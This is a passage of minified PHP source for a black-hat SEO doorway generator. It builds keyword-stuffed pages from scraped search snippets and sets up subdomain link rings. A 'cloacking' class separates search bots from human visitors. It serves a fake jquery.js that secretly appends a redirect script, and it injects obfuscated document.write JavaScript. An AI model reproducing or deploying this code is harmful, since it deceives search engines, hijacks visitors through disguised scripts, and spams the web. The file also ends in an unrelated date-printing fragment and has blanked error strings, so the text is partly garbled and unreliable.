case 1:$result=$this->enqueue_links_stack($this->make_subdomain_with_link($keyword,$dop_keyword)); break; }break; case self::MODE_DOMAIN_WITH_FOLDER_AND_INNER_LINKS:switch(rand(0,1)){case 0:$result=$this->enqueue_links_stack($this->make_folder($keyword)); break; case 1:$result=$this->enqueue_links_stack($this->make_folder_with_link($keyword,$dop_keyword)); break; }break; }return $result; }function make_link($keyword){return new link($keyword,"http://{$this->host}/{$keyword->link_body}.php"); }function make_subdomain($keyword){return new link($keyword,"http://{$keyword->link_body}.{$this->host}/"); }function make_folder($keyword){return new link($keyword,"http://{$this->host}/{$keyword->link_body}/"); }function make_folder_with_link($keyword,$keyword_on_sub=null){if(!$keyword_on_sub)return new link($keyword,"http://{$this->host}/$keyword->link_body/"); return new link($keyword,"http://{$this->host}/{$keyword_on_sub->link_body}/$keyword->link_body.php"); }function make_subdomain_with_link($keyword,$keyword_on_sub=null){if(!$keyword_on_sub)return new link($keyword,"http://{$this->host}/$keyword->link_body.php"); return new link($keyword,"http://{$keyword_on_sub->link_body}.{$this->host}/$keyword->link_body.php"); }private function out_links_boxes(&$tpl){if(strpos($tpl,"[links")!== false){$tpl=preg_replace("~\[links count=['\"](|[^\"]+)['\"] delimiter=['\"](|[^\"]+)['\"]\](.*?)\[/links\]~ies","\$this->out_links_box('\\1', '\\2', '\\3')",$tpl); $tpl=preg_replace("~\[links count=['\"](|[^\"]+)['\"]\](.*?)\[/links\]~ies","\$this->out_links_box('\\1', '', '\\2')",$tpl); $tpl=preg_replace("~\[links=(|[^\"]+)\](.*?)\[/links\]~ies","\$this->out_links_box('\\1', '', '\\2')",$tpl); }}private function out_links_box($count_links,$delimiter=false,$pattern){$out_pattern=''; $pattern=stripcslashes($pattern); while($link=$this->dequeue_links_stack()){if(!$count_links--)break; $temp=strtr($pattern,array('{KEYWORD}'=> $link->anchor,'{LINK}'=> $link->url,'{DELIMITER}'=> $delimiter)); $out_pattern .= $temp ."\r\n"; }return $out_pattern; }private function out_meta_keywords(&$tpl){if(strpos($tpl,"[links")!== false){$tpl=preg_replace("~\{KEYWORDS=([^\}]+)\}~ies","\$this->out_keywords('\\1')",$tpl); }}private function out_keywords($count){$keywords=array(); $keywords[]=$this->main_keyword->anchor; $count++; foreach($this->links_stack as $link){if(!$count--)break; $keywords[]=$link->anchor; }$keywords=implode(', ',$keywords); return $keywords; }private $current_out_number=1; private $current_keyword_number=1; private function out_links(&$tpl){while($link=$this->dequeue_links_stack()){if(!$this->out_link($tpl,$link))break; }}private function out_numeric_keywords(&$tpl){while($keyword=$this->get_keyword($this->current_keyword_number)){if(!$this->out_keyword($tpl,$keyword))break; }}private function out_link(&$tpl,$link){$number=$this->current_out_number; if(strstr($tpl,"{LINK_$number}")=== false)return false; $tpl=str_replace("{KEYWORD_$number}",$link->anchor,$tpl); $tpl=str_replace("{LINK_$number}",$link->url,$tpl); $this->current_out_number++; return true; }private function out_keyword(&$tpl,$keyword){$number=$this->current_keyword_number; $tpl=str_replace("{KEYWORD_$number}",$keyword,$tpl); $this->current_keyword_number++; return true; }private function GetHostCode(){$code=md5($this->MainHost .'B7tKfDg4'); $code=preg_replace('~[^0-9]+~ism','',$code); $code=substr($code,0,5); $this->RequestCode=$code; return $code; }function get_ring_data($link_count_ring,$keyword){$rez=array(); srand($this->GetHostCode()+$link_count_ring); $max_steap=intval(keywords::$binary_searcher->string_count/$link_count_ring); $steap=rand(floor($max_steap/rand(2,10)),$max_steap); $rez['steap']=$steap; $rez['current_key']=$keyword; $rez['curent_pos']=$keyword->positions->string_position; $curent_ring=intval($keyword->positions->string_position/$steap); $rez['curent_ring']=$curent_ring; $first_element=$keyword->positions->string_position-$curent_ring*$steap; $rez['first_element']=$first_element; $last_element=$keyword->positions->string_position+($link_count_ring-$curent_ring-1)*$steap; $rez['last_element']=$last_element <= keywords::$binary_searcher->string_count; $next_element=$keyword->positions->string_position+$steap; $prev_element=$keyword->positions->string_position-$steap; if($keyword->positions->string_position >= $last_element)$next_element=$first_element; if($keyword->positions->string_position <= $first_element){$prev_element=$last_element; }$rez['next_element']=$next_element; $rez['prev_element']=$prev_element; $rez['prev_key']=keywords::get_keyword_by_string_position($prev_element); $rez['next_key']=keywords::get_keyword_by_string_position($next_element); return $rez; }}class Doorway{private $RootDir; public function SetRootDir($value){$this->RootDir=$value; }private $MainHost; public function SetMainHost($value){$this->MainHost=$value; }private $CacheFolder; public function SetCacheFolder($value){$this->CacheFolder=preg_replace('~[\\/]+~','/',$this->RootDir .$value); }private $BinaryKeywordsPath; public function SetBinaryKeywordsPath($value){$this->BinaryKeywordsPath=$value; }private $TemplateFolder; public function SetTemplateFolder($foolder){$this->TemplateFolder=$foolder; }private $Template; public function SetTemplate($file_name){$this->Template=preg_replace('~[\\/]+~','/',$this->RootDir .$this->TemplateFolder .$file_name); }public $MainPageFile; public function SetMainPageFile($file_name){$this->MainPageFile=preg_replace('~[\\/]+~','/',$this->RootDir .$this->TemplateFolder .$file_name); }public $HeaderCount=3; public function SetHeaderCount($HeaderCount){$this->HeaderCount=$HeaderCount; }private $PageContentLenghtMin=500; private $PageContentLenghtMax=1000; public function SetPageContentLenght($max,$min){$this->PageContentLenghtMin=$min; $this->PageContentLenghtMax=$max; }public $Linked; public function SetLinked($Linked){$this->Linked=$Linked; }public $SnippetsParser; public function SetSnippetsParser($SnippetsParser){$this->SnippetsParser=$SnippetsParser; }public $Cloacking; public function SetRedirectURL($RedirectURL){$this->Cloacking->set_url($RedirectURL); }private $SM_Link; public function SetSM_Link($value){$this->SM_Link=$value; }private $ContentPattern; public function SetContentPattern($value){$this->ContentPattern=$value; }private $ParserSnippetsEnabled=true; public function SetParserSnippetsEnabled($value){$this->ParserSnippetsEnabled=$value; }private $Subdomain; private $Request; private $Keyword; private $Keyword_pos_in_file; private $RequestCode; private $PageContent; public function Doorway(){$this->RootDir=$_SERVER['DOCUMENT_ROOT'] .'/'; $this->TemplateFolder='/templates/'; $this->Linked=new linked(); $this->Linked->set_host($this->MainHost); $this->Linked->set_mode(linked::MODE_SUBDOMAINS_WITH_INNER_LINKS); $this->Linked->set_out_prev_link_mode(true); $this->Linked->set_rings(array(10,20,30,40,50,100)); $this->Linked->set_rings_mode(linked::RINGS_MODE_ONLY_SUBDOMAINS); $this->Linked->set_total_links_count(50); $this->SnippetsParser=new EngineSnippetsParser(); $this->SnippetsParser->SetContentCount(100); $this->SnippetsParser->SetMaxParsedPagesCount(0); $this->SnippetsParser->SetMinSnippetLenght(30); $this->SnippetsParser->SetOutputCharset('windows-1251'); $this->SnippetsParser->SetSnippetsCount(300); $this->SnippetsParser->SetStreamCount(1); $this->Cloacking=new cloacking(); }public function MakeRedirectURL($url){if(!$this->Keyword)$this->Init(); if($this->Keyword){$url=preg_replace('~(\{KEY\}|\{KEYWORD\})~ism',urlencode($this->Keyword->anchor_to_lower),$url); $url=preg_replace('~(\{REF\}|\{REFERER\})~ism',urlencode($_SERVER['HTTP_REFERER']),$url); }else{$url=preg_replace('~(\{KEY\}|\{KEYWORD\})~ism',"' + title + '",$url); $url=preg_replace('~(\{REF\}|\{REFERER\})~ism',"' + host + '",$url); }return $url; }public function Init(){if($this->GetRequest()){$this->GetKeyword($this->Request); }elseif($this->GetSubdomain()){$this->GetKeyword($this->Subdomain); }else{$this->GetKeyword(); }}public function Build(){$this->Cloacking->dinamic_js(); if(!$this->Keyword)$this->Init(); $this->MainPage(); $this->Out404(); $this->GetRequestCode(); $this->MakePage(); }private function GetRequestCode(){$code=md5($this->Subdomain .$this->MainHost .$this->Request .'B7tKfDg4'); $code=preg_replace('~[^0-9]+~ism','',$code); $code=substr($code,0,5); $this->RequestCode=$code; return $code; }private function GetRequest(){if(preg_match('~/([^\./]+)\.~ism',@$_SERVER['REQUEST_URI'],$request)){$this->Request=$request[1]; return true; }return false; }private function GetSubdomain(){if(preg_match("~^([^\.]+)\.{$this->MainHost}$~ism",@$_SERVER['HTTP_HOST'],$subdomain)){$this->Subdomain=$subdomain[1]; return true; }else return $this->GetFolder(); }private function GetFolder(){if($this->Subdomain)return true; if(preg_match("~/([^\./]+)/~ism",@$_SERVER['REQUEST_URI'],$request)){$this->Subdomain=$request[1]; return true; }return false; }private function Out404(){if($this->Keyword)return; header("HTTP/1.1 301 Moved Permanently"); header("Location: http://".$this->MainHost); exit; }private function MainPage(){if($this->Keyword)return; if($this->MainHost == $_SERVER['HTTP_HOST']&& $_SERVER['REQUEST_URI']== '/'){if(!file_exists($this->MainPageFile))die(' !'); $theme=file_get_contents($this->MainPageFile); $theme=strtr($theme,array('{HOST}'=> $_SERVER['HTTP_HOST'],'{HOST_LINK}'=> 'http://' .$_SERVER['HTTP_HOST'] .'/','{SITEMAP_URL}'=> $this->SM_Link,'{SITEMAP}'=>"SM_Link}\">Sitemap",'{THEME}'=> 'http://' .preg_replace('~[\\/]+~','/',$_SERVER['HTTP_HOST'] .'/' .$this->TemplateFolder))); $this->random_box($theme); $description=substr(strip_tags($content),0,250) .'...'; $description=preg_replace('~[\s]~ism',' ',$description); $theme=str_replace('{DESCRIPTION}',$description,$theme); $theme=str_replace('{MAIN_KEYWORD}',$this->Keyword->anchor,$theme); $this->Cloacking->set_keyword($this->Keyword->anchor); $this->Cloacking->make_url(array('{REF}'=> 'http://' .$_SERVER['HTTP_HOST'] .'/' .$_SERVER['REQUEST_URI'],'{KEY}'=> $this->Keyword->anchor)); $theme=str_replace('{REDIRECT}',$this->Cloacking->out(),$theme); $textmaker=new Textmaker(); $textmaker->SetSrand($this->RequestCode); $textmaker->MakeTextBoxes($theme); $this->Linked->set_host($this->MainHost); $this->Linked->set_request_code($this->RequestCode); $this->Linked->out($theme); echo $this->ClearContent($theme); exit; }}private function ClearContent($content){$temp=addslashes($this->TemplateFolder); $content=preg_replace("~{$temp}/~ism",$this->TemplateFolder,$content); $content=preg_replace("~{$_SERVER['HTTP_HOST']}//~ism",$_SERVER['HTTP_HOST'] .'/',$content); return $content; }private function GetKeyword($string=false){if($string)$this->Keyword=keywords::get_keyword($string); else $this->Keyword=keywords::get_keyword_by_string_position(1); }private function ParseSnippets(){if(!$this->ParserSnippetsEnabled)return false; if(!$this->SnippetsParser->GetSnippets($this->Keyword->anchor))return false; $file_name=$this->Keyword->link_body .'.txt'; file_put_contents($this->CacheFolder .$file_name,implode("\r\n",$this->SnippetsParser->SnippetsList->list)); }private function GetSnippets(){$file_name=$this->CacheFolder .$this->Keyword->link_body .'.txt'; if(!file_exists($file_name))$this->ParseSnippets(); else if(filesize($file_name)<50)$this->ParseSnippets(); if(!file_exists($file_name))return false; if(filesize($file_name)== 0){unlink($file_name); return false; }$filesize=filesize($file_name); srand($this->RequestCode); $max_content_lenght=rand($this->PageContentLenghtMin,$this->PageContentLenghtMax); $content=array(); $content_lenght=0; $fp=fopen($file_name,'r'); $iteration=0; while($content_lenght<$max_content_lenght){srand($this->RequestCode+$iteration++); fseek($fp,rand(0,$filesize)); @fgets($fp); $snippet=@trim(fgets($fp)); if(!$snippet)continue; if(in_array($snippet,$content)){continue; }$content_lenght += strlen($snippet)+1; $content[]=$snippet; }fclose($fp); return $content; }private function GetContent(){$snippets=$this->GetSnippets(); if(!$snippets){return $this->ContentPattern; }if($this->HeaderCount>0)$out="

{MAIN_KEYWORD}

\r\n

"; else $out='

'; $number=1; $header_place_count=0; foreach($snippets as $snippet){$out .= $snippet; if(rand(0,5)== 5){$out .= "

\r\n\r\n

\r\n\r\n{HEADER}"; $header_place_count++; }else{if(rand(0,3)== 3){$out .= "\r\n"; }$out .= ' '; }}$out .= '

'; $header_count=$this->HeaderCount; $clear=floor($header_place_count/$header_count); while($header_count){$out=preg_replace('~\{HEADER\}~ism','',$out,$clear); $out=preg_replace('~\{HEADER\}~ism',"

{KEYWORD_$number}

",$out,1); $number++; $header_count--; }return $out; }private function random_box(&$tpl){$tpl=preg_replace("~\{RANDNUMBER=([0-9]+)-([0-9]+)\}~ies","\$this->random('\\1', '\\2')",$tpl); }private $srand=0; private function random($min,$max){srand($this->RequestCode+$this->srand); $this->srand += rand(1,100); return rand($min,$max); }private function MakePage(){if(!$this->Template)die(" !"); if(!file_exists($this->Template))die(" {$this->Template} !"); $theme=file_get_contents($this->Template); $content=$this->GetContent(); $theme=strtr($theme,array('{HOST}'=> $_SERVER['HTTP_HOST'],'{HOST_LINK}'=> 'http://' .$_SERVER['HTTP_HOST'] .'/','{CONTENT}'=> $content,'{SITEMAP_URL}'=> $this->SM_Link,'{SITEMAP}'=>"SM_Link}\">Sitemap",'{THEME}'=> 'http://' .preg_replace('~[\\/]+~','/',$_SERVER['HTTP_HOST'] .'/' .$this->TemplateFolder))); $this->random_box($theme); $textmaker=new Textmaker(); $textmaker->SetSrand($this->RequestCode); $textmaker->MakeTextBoxes($theme); $description=substr(strip_tags($content),0,250) .'...'; $description=preg_replace('~[\s]~ism',' ',$description); $theme=str_replace('{DESCRIPTION}',$description,$theme); $theme=str_replace('{MAIN_KEYWORD}',$this->Keyword->anchor,$theme); $this->Cloacking->set_keyword($this->Keyword->anchor); $this->Cloacking->make_url(array('{REF}'=> 'http://' .$_SERVER['HTTP_HOST'] .'/' .$_SERVER['REQUEST_URI'],'{KEY}'=> $this->Keyword->anchor)); $theme=str_replace('{REDIRECT}',$this->Cloacking->out(),$theme); $this->Linked->set_host($this->MainHost); $this->Linked->set_main_keyword($this->Keyword); $this->Linked->set_request_code($this->RequestCode); $this->Linked->out($theme); $this->PageContent=$theme; }public function out_page(){echo $this->PageContent; }}class Textmaker{private $InnerTextPath; public function SetInnerTextPath($value){$this->InnerTextPath=preg_replace('~[\\/]+~','/',$value); }private static $StaticInnerTextPath; public function SetStaticInnerTextPath($value){self::$StaticInnerTextPath=preg_replace('~[\\/]+~','/',$value); }private static $StaticBasePath; public function SetStaticBasePath($value){self::$StaticBasePath=preg_replace('~[\\/]+~','/',$value); }private $BasePath; public function SetBasePath($value){$this->BasePath=preg_replace('~[\\/]+~','/',$value); }private $Srand; public function SetSrand($value){$this->Srand=intval($value); }public function Textmaker(){if(self::$StaticBasePath)$this->SetBasePath(self::$StaticBasePath); if(self::$StaticInnerTextPath)$this->SetInnerTextPath(self::$StaticInnerTextPath); }public function MakeBase(){if(!$this->InnerTextPath)return; if(!file_exists($this->InnerTextPath))return; if(!$this->BasePath)return; $InnerFP=fopen($this->InnerTextPath,'r'); $LastStr=''; $BaseFP=fopen($this->BasePath,'w+'); while(!feof($InnerFP)){$String=fgets($InnerFP); $String=preg_replace('~([\.\?!])~ism',"$1{split}",$String); $Arr=explode('{split}',$String); $NewArr=$Arr; $NewArr[0]=$LastStr .' ' .trim($NewArr[0]); $LastStr=trim(array_pop($NewArr)); foreach($NewArr as $Str){$Str=trim($Str); if(strLen($Str)<10)continue; if(strlen(preg_replace('~[^a-z-]~ism','',$Str))]+>|[\(\)]+)~ism',' ',$Str); $Str=preg_replace('~(http://[^ ]+|www\.[^ ]+)~ism',' ',$Str); $Str=preg_replace('~[ ]+~ism',' ',$Str); fputs($BaseFP,trim($Str) ."\r\n"); }}fclose($InnerFP); fclose($BaseFP); }public function MakeTextBoxes(&$tpl){if(!file_exists($this->BasePath))die(" !"); $tpl=preg_replace("~\{TEXT=([0-9]+)-([0-9]+)\}~ies","\$this->MakeText('\\1', '\\2')",$tpl); }public function MakeText($min,$max){if(!file_exists($this->BasePath))return " !"; srand($this->Srand); $this->Srand += rand(1,100); $MaxLen=rand($min,$max); $Text=''; $BaseFP=fopen($this->BasePath,'r'); $FileSize=filesize($this->BasePath); while(strlen($Text)<$MaxLen){$this->Srand += rand(1,10); $pos=rand(0,$FileSize); fseek($BaseFP,$pos); fgets($BaseFP); $Str=@fgets($BaseFP); if(!trim($Str))continue; $Text .= $Str .' '; }fclose($BaseFP); return trim($Text); }}final class cloacking{private $enabled=true; public function enable($value){$this->enabled=$value; }private $url; public function set_url($value){$this->url=$value; }public function make_url($replaces){$this->url=strtr($this->url,$replaces); }private $enable_check_engine=false; public function set_enable_check_engine($value){$this->enable_check_engine=$value; }private $including_mode=false; public function set_including_mode($value){$this->including_mode=$value; }private $keyword; public function set_keyword($value){$this->keyword=preg_replace('~[\'"]+~ism','',$value); }public function cloacking($url=false){$this->url=$url; }private function str_encode($str){$out=''; $unicodePoints=array('\u0410','\u0411','\u0412','\u0413','\u0414','\u0415','\u0416','\u0417','\u0418','\u0419','\u041A','\u041B','\u041C','\u041D','\u041E','\u041F','\u0420','\u0421','\u0422','\u0423','\u0424','\u0425','\u0426','\u0427','\u0428','\u0429','\u042A','\u042B','\u042C','\u042D','\u042E','\u042F','\u0430','\u0431','\u0432','\u0433','\u0434','\u0435','\u0436','\u0437','\u0438','\u0439','\u043A','\u043B','\u043C','\u043D','\u043E','\u043F','\u0440','\u0441','\u0442','\u0443','\u0444','\u0445','\u0446','\u0447','\u0448','\u0449','\u044A','\u044B','\u044C','\u044D','\u044E','\u044F'); $hexView=array('d090','d091','d092','d093','d094','d095','d096','d097','d098','d099','d09a','d09b','d09c','d09d','d09e','d09f','d0a0','d0a1','d0a2','d0a3','d0a4','d0a5','d0a6','d0a7','d0a8','d0a9','d0aa','d0ab','d0ac','d0ad','d0ae','d0af','d0b0','d0b1','d0b2','d0b3','d0b4','d0b5','d0b6','d0b7','d0b8','d0b9','d0ba','d0bb','d0bc','d0bd','d0be','d0bf','d180','d181','d182','d183','d184','d185','d186','d187','d188','d189','d18a','d18b','d18c','d18d','d18e','d18f'); for($i=0; $i= 'd0'&& bin2hex($str{$i})<= 'd1'){$out .= bin2hex($str{$i}) .bin2hex($str{$i+1}); $i++; }elseif(bin2hex($str{$i})<= '7e'){$out .= '\x' .bin2hex($str{$i}); }else $out .= htmlentities($str{$i},ENT_QUOTES,'UTF-8'); }return str_replace($hexView,$unicodePoints,$out); }private function hash($string){return substr(preg_replace("~[^0-9]*~","",md5(strtr(md5($string),'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890','1qaz2wsx3edc4rfv5tgb6yhn7ujm8ik9ol0pMNBVCXZASDFGHJKLPOIUYTREWQ'))),0,5); }public function dinamic_js(){if(!stristr($_SERVER['REQUEST_URI'],"jquery.js"))return; @header("Content-type: text/plain; charset=utf-8"); @header("Cache-Control: no-store, no-cache, must-revalidate"); @header("Cache-Control: post-check=0, pre-check=0",false); if(!@$_SERVER['HTTP_REFERER']||!stristr(@$_SERVER['HTTP_REFERER'],$_SERVER['HTTP_HOST'])){echo file_get_contents(dirname(__FILE__) .'/jquery.js'); exit; }$hash=$this->hash($_SERVER['HTTP_REFERER']); echo file_get_contents(dirname(__FILE__) .'/jquery.js'); $script=file_get_contents(dirname(__FILE__) .'/frame.js'); $script=preg_replace("~[\s]+~ism",' ',$script); $script=str_replace('{URL}',$this->url,$script); echo $script; exit; }private function make_script(){$frame=$this->str_encode('; '); $name=mt_rand(111111,999999); return"var _0x{$name}=[\"{$frame}\",\"\\x77\\x72\\x69\\x74\\x65\"]; document[_0x{$name}[1]](_0x{$name}[0]); "; }private function check_engine(){$user_agent_inners="google|slurp|msnbot|bing|microsoft|live|bot|spider|yandex|rambler|baidu|mail.ru|i.ua|meta|search"; $referer_inners="google|msn|bing|yahoo|search|live|yandex|rambler|meta|i.ua|mail.ru|search"; $referer=@$_SERVER['HTTP_REFERER']; $user_agent=@$_SERVER['HTTP_USER_AGENT']; if(!$referer){if(!preg_match("~$user_agent_inners~ism",$user_agent)){if(preg_match("~GTB~",$user_agent))sleep(mt_rand(3,6)); return 'User'; }return 'Bot'; }else{if(preg_match("~($referer_inners)~ism",$referer)&&!preg_match("~$user_agent_inners~ism",$user_agent)){if(preg_match("~GTB~",$user_agent))sleep(mt_rand(3,6)); return 'User'; }return 'Bot'; }}public function out(){if(!$this->enabled)return false; if(!$this->including_mode){return $this->out_script(); }else{return $this->out_script_link(); }}public function out_script(){if(!$this->enabled)return false; if($this->enable_check_engine && $this->check_engine()== 'Bot')return false; $script=$this->make_script($this->url); return""; }public function out_script_link(){if(!$this->enabled)return false; if($this->enable_check_engine && $this->check_engine()== 'Bot')return false; $host='http://' .$_SERVER['HTTP_HOST'] .'/' .$_SERVER['REQUEST_URI']; return $script_include=" "; }}require_once(ROOT_DIR .'/settings/config.php'); require_once(ROOT_DIR .'/settings/engines.php'); $install=new Install(ROOT_DIR .'/' .Config::$Install->KeywordsFile,ROOT_DIR .'/data/base.bin'); $install->SetBaseContentPath(ROOT_DIR .'/data/textbase.bin'); $install->SetInnerContentPath(Config::$Install->ContentFile); $sitemap=new Sitemap(Config::$Doorgen->MainHost); $sitemap->SetMode(Config::$Install->LinksMode); $sitemap->SetCountMainPagesLinksInMap(Config::$Install->CountMainPagesLinksInMap); $sitemap->SetCountInnerLinksInMap(Config::$Install->CountInnerLinksInMap); $sitemap->SetSM_Patterns(Config::$Install->SiteMapPatterns); $sitemap->SetMainSM_Pattern(Config::$Install->SiteMapMainPattern); $sitemap->SetMapTemplate(Config::$Install->SiteMapTemplate,ROOT_DIR .Config::$Doorgen->TemplateFolder); $install->Run('/install','/make_sitemaps'); keywords::init(ROOT_DIR .'/data/base.bin',0,'||'); Textmaker::SetStaticBasePath(ROOT_DIR .'/data/textbase.bin'); $sitemap->Make('/make_sitemaps'); $doorway=new Doorway(); $doorway->SetTemplateFolder(Config::$Doorgen->TemplateFolder); $doorway->SetTemplate(Config::$Doorgen->TemplateFile); $doorway->SetMainPageFile(Config::$Doorgen->MainPageFile); $doorway->SetCacheFolder('/cache/'); $doorway->SetMainHost(Config::$Doorgen->MainHost); $doorway->SetPageContentLenght(Config::$Doorgen->MinContentLenght,Config::$Doorgen->MaxContentLenght); $doorway->SetHeaderCount(Config::$Doorgen->HeadersCount); $doorway->SetSM_Link($sitemap->GetSitemapURL()); $doorway->SetContentPattern(Config::$Doorgen->ContentPattern); $doorway->SetParserSnippetsEnabled(Config::$Parser->Enabled); $doorway->Init(); $doorway->Cloacking->enable(Config::$Redirect->Enabled); $doorway->Cloacking->set_url($doorway->MakeRedirectURL(Config::$Redirect->RedirectURL)); $doorway->Cloacking->set_enable_check_engine(Config::$Redirect->CheckEngineMode); $doorway->Cloacking->set_including_mode(Config::$Redirect->IncludingScriptMode); $doorway->Linked->set_mode(Config::$Install->LinksMode); $doorway->Linked->set_out_prev_link_mode(Config::$Links->OutPrevLinkMode); $doorway->Linked->set_rings(Config::$Links->Rings->GetRings()); $doorway->Linked->set_total_links_count(Config::$Links->TotalLnksCount); $doorway->SnippetsParser->SetEnginesList($EnginesList); $doorway->SnippetsParser->SetProxyType(Config::$Parser->ProxyType); $doorway->SnippetsParser->SetRequestType(Config::$Parser->RequestType); $doorway->SnippetsParser->SetContentCount(Config::$Parser->ContentCount); $doorway->SnippetsParser->SetMaxParsedPagesCount(Config::$Parser->MaxParsedPagesCount); $doorway->SnippetsParser->SetMinSnippetLenght(Config::$Parser->MinSnippetLenght); $doorway->SnippetsParser->SetOutputCharset(Config::$Parser->OutputCharset); $doorway->SnippetsParser->SetProxyList(Config::$Parser->ProxyList); $doorway->SnippetsParser->SetLocalIpList(Config::$Parser->LocalIPList); $doorway->SnippetsParser->SetSnippetsCount(Config::$Parser->SnippetsCount); $doorway->SnippetsParser->SetStreamCount(Config::$Parser->StreamCount); $doorway->build(); $doorway->out_page(); timer::finish(); final class timer{static private $time; static public function mtime(){list($usec,$sec)=explode(" ",microtime()); return abs((float)$usec+(float)$sec); }static public function start(){self::$time=self::mtime(); }static public function finish(){echo ''; }} $date_today = date("m.d.y"); // 12.03.15 $today[1] = date("H:i:s"); // 1 18:32:17 echo("$date_today $today[1]");